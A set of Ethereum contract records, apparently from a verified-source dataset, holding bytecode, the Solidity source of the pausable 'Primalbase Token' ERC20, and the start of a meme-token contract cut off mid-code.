1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905061080383600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461143f90919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061089883600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461145890919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506108ee838261143f90919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b600881565b6008600a0a6311e1a3000281565b60008082111515610a0257600080fd5b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610a5057600080fd5b339050610aa582600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461143f90919063ffffffff16565b600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610afd8260005461143f90919063ffffffff16565b6000819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a25050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610c66576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610cfa565b610c79838261143f90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600381526020017f4b4943000000000000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610ecb57600080fd5b610f1d82600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461143f90919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610fb282600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461145890919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60006110f582600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461145890919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561134357600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561137f57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600082821115151561144d57fe5b818303905092915050565b600080828401905083811015151561146c57fe5b80915050929150505600a165627a7a72305820bab0e0ffb899c04e200d7801b2c0d4b7b7fa71b1d2715f53770fde7fc5e488180029
|
{"success": true, "error": null, "results": {}}
| 9,121 |
0xf4c07b1865bc326a3c01339492ca7538fd038cc0
|
pragma solidity ^0.4.13;
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract HasNoEther is Ownable {
/**
* @dev Constructor that rejects incoming Ether
* @dev The `payable` flag is added so we can access `msg.value` without compiler warning. If we
* leave out payable, then Solidity will allow inheriting contracts to implement a payable
* constructor. By doing it this way we prevent a payable constructor from working. Alternatively
* we could use assembly to access msg.value.
*/
function HasNoEther() public payable {
require(msg.value == 0);
}
/**
* @dev Disallows direct send by settings a default function without the `payable` flag.
*/
function() external {
}
/**
* @dev Transfer all Ether held by the contract to the owner.
*/
function reclaimEther() external onlyOwner {
assert(owner.send(this.balance));
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract PausableToken is StandardToken, Pausable {
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
}
contract PBToken is PausableToken, HasNoEther {
string public name = "Primalbase Token";
string public symbol = "PBT";
uint256 public decimals = 4;
string public version = 'v1.0.0';
uint256 public INITIAL_SUPPLY = 1250 * (10 ** uint256(decimals));
event TokenTransferLog(address indexed from, address indexed to, uint256 amount, string wallet, string currency);
function PBToken() public {
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
}
/**
* @dev Transfer tokens from sender address to gateway
* @param _amount uint256 the amount of tokens to be transferred
* @param _wallet string another currency receiver wallet address
* @param _currency string another currency name
*/
function TransferBase(uint256 _amount, string _wallet, string _currency) public returns (bool) {
require(_amount <= balances[msg.sender]);
require(bytes(_wallet).length > 0);
require(bytes(_currency).length > 0);
transfer(owner, _amount);
TokenTransferLog(msg.sender, owner, _amount, _wallet, _currency);
return true;
}
/**
* @dev Transfer Waves tokens from sender address to Waves gateway
* @param _amount uint256 the amount of tokens to be transferred
* @param _wallet string another currency receiver wallet address
*/
function TransferToWaves(uint256 _amount, string _wallet) public returns (bool) {
TransferBase(_amount, _wallet, 'waves');
return true;
}
}
|
0x60606040526004361061011d576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde031461012a578063095ea7b3146101b857806318160ddd1461021257806323b872dd1461023b5780632f9a7c22146102b45780632ff2e9dc14610332578063313ce5671461035b5780633f4ba83a1461038457806354fd4d50146103995780635c975abb14610427578063661884631461045457806370a08231146104ae5780638456cb59146104fb5780638da5cb5b1461051057806395d89b411461056557806397ef9779146105f35780639f727c27146106b4578063a9059cbb146106c9578063d73dd62314610723578063dd62ed3e1461077d578063f2fde38b146107e9575b341561012857600080fd5b005b341561013557600080fd5b61013d610822565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561017d578082015181840152602081019050610162565b50505050905090810190601f1680156101aa5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101c357600080fd5b6101f8600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506108c0565b604051808215151515815260200191505060405180910390f35b341561021d57600080fd5b6102256108f0565b6040518082815260200191505060405180910390f35b341561024657600080fd5b61029a600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506108fa565b604051808215151515815260200191505060405180910390f35b34156102bf57600080fd5b610318600480803590602001909190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509190505061092c565b604051808215151515815260200191505060405180910390f35b341561033d57600080fd5b610345610979565b6040518082815260200191505060405180910390f35b341561036657600080fd5b61036e61097f565b6040518082815260200191505060405180910390f35b341561038f57600080fd5b610397610985565b005b34156103a457600080fd5b6103ac610a45565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103ec5780820151818401526020810190506103d1565b50505050905090810190601f1680156104195780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561043257600080fd5b61043a610ae3565b604051808215151515815260200191505060405180910390f35b341561045f57600080fd5b610494600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610af6565b604051808215151515815260200191505060405180910390f35b34156104b957600080fd5b6104e5600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610b26565b6040518082815260200191505060405180910390f35b341561050657600080fd5b61050e610b6e565b005b341561051b57600080fd5b610523610c2f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561057057600080fd5b610578610c55565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105b857808201518184015260208101905061059d565b50505050905090810190601f1680156105e55780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156105fe57600080fd5b61069a600480803590602001909190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050610cf3565b604051808215151515815260200191505060405180910390f35b34156106bf57600080fd5b6106c7610efb565b005b34156106d457600080fd5b610709600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610fcf565b604051808215151515815260200191505060405180910390f35b341561072e57600080fd5b610763600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610fff565b604051808215151515815260200191505060405180910390f35b341561078857600080fd5b6107d3600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061102f565b6040518082815260200191505060405180910390f35b34156107f457600080fd5b610820600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506110b6565b005b60048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108b85780601f1061088d576101008083540402835291602001916108b8565b820191906000526020600020905b81548152906001019060200180831161089b57829003601f168201915b505050505081565b6000600360149054906101000a900460ff161515156108de57600080fd5b6108e8838361120e565b905092915050565b6000600154905090565b6000600360149054906101000a900460ff1615151561091857600080fd5b610923848484611300565b90509392505050565b600061096e83836040805190810160405280600581526020017f7761766573000000000000000000000000000000000000000000000000000000815250610cf3565b506001905092915050565b60085481565b60065481565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156109e157600080fd5b600360149054906101000a900460ff1615156109fc57600080fd5b6000600360146101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b60078054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610adb5780601f10610ab057610100808354040283529160200191610adb565b820191906000526020600020905b815481529060010190602001808311610abe57829003601f168201915b505050505081565b600360149054906101000a900460ff1681565b6000600360149054906101000a900460ff16151515610b1457600080fd5b610b1e83836116ba565b905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610bca57600080fd5b600360149054906101000a900460ff16151515610be657600080fd5b6001600360146101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610ceb5780601f10610cc057610100808354040283529160200191610ceb565b820191906000526020600020905b815481529060010190602001808311610cce57829003601f168201915b505050505081565b60008060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548411151515610d4257600080fd5b60008351111515610d5257600080fd5b60008251111515610d6257600080fd5b610d8e600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1685610fcf565b50600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f3d2d454659fc95a8064fd06a92a5e41ffe83b5eb7a8156e86ce674b10df40b32868686604051808481526020018060200180602001838103835285818151815260200191508051906020019080838360005b83811015610e4d578082015181840152602081019050610e32565b50505050905090810190601f168015610e7a5780820380516001836020036101000a031916815260200191505b50838103825284818151815260200191508051906020019080838360005b83811015610eb3578082015181840152602081019050610e98565b50505050905090810190601f168015610ee05780820380516001836020036101000a031916815260200191505b509550505050505060405180910390a3600190509392505050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f5757600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f193505050501515610fcd57fe5b565b6000600360149054906101000a900460ff16151515610fed57600080fd5b610ff7838361194b565b905092915050565b6000600360149054906101000a900460ff1615151561101d57600080fd5b6110278383611b6a565b905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561111257600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561114e57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561133d57600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561138a57600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561141557600080fd5b611466826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d6690919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506114f9826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d7f90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506115ca82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d6690919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050808311156117cb576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061185f565b6117de8382611d6690919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561198857600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156119d557600080fd5b611a26826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d6690919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611ab9826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d7f90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000611bfb82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d7f90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000828211151515611d7457fe5b818303905092915050565b6000808284019050838110151515611d9357fe5b80915050929150505600a165627a7a72305820910e7d3a2ecf41d15507d24c97b6ee3dd7cb1790c3f04a13fcc6e327d4fb02920029
|
{"success": true, "error": null, "results": {}}
| 9,122 |
0x6893c1157c3dbae80e6aa08d21cf9f5b1090c176
|
/**
*Submitted for verification at Etherscan.io on 2022-03-28
*/
/*
https://t.me/ancienterc
Musk Tweetd Token
1% Max transaction
2% Max Wallet
Do not Buy until postedin chat
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
